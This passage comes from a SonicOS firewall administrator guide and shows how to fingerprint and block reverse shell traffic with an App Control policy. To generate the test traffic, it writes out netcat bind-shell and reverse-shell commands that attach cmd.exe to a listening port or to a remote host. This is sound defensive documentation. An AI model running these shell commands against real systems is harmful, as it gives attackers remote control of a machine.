Filter
Top Products
App Control Use Cases
705
SonicOS 5.8.1 Administrator Guide
Note Networks using unencrypted Telnet service must configure policies that exclude those
servers’ IP addresses.
While this use case refers to the specific case of reverse shell payloads (outbound
connections), it is more secure to configure the policy to be effective also for inbound
connections. This protects against a case where the executed payload spawns a listening shell
onto the vulnerable host and the attacker connects to that service across misconfigured
firewalls.
The actual configuration requires the following:
• Generating the actual network activity to be fingerprinted, using the netcat tool
• Capturing the activity and exporting the payload to a text file, using the Wireshark tool
• Creating a match object with a string that is reasonably specific and unique enough to avoid
false positives
• Defining a policy with the action to take when a payload containing the object is parsed (the
default Reset/Drop is used here)
Generating the Network Activity
The netcat tool offers – among other features – the ability to bind a program’s output to an
outbound or a listening connection. The following usage examples show how to setup a
listening “Command Prompt Daemon” or how to connect to a remote endpoint and provide an
interactive command prompt:
• nc –l –p 23 –e cmd.exe
A Windows prompt will be available to hosts connecting to port 23
(the -l option stands for
listen mode as opposed to the default, implicit, connect mode).
• nc –e cmd.exe 44.44.44.44 23
A Windows prompt will be available to host
44.44.44.44 if host 44.44.44.44 is listening on
port 23 using the netcat command:
nc -l -p 23
Capturing and Exporting the Payload to a Text File, Using Wireshark
To capture the data, launch Wireshark and click Capture > Interfaces to open a capture dialog.
Start a capture on the interface with the netcat traffic. As soon as the capture begins, run the
netcat command and then stop the capture.
The following image shows the data flow through the network during such a connection (Vista
Enterprise, June 2007):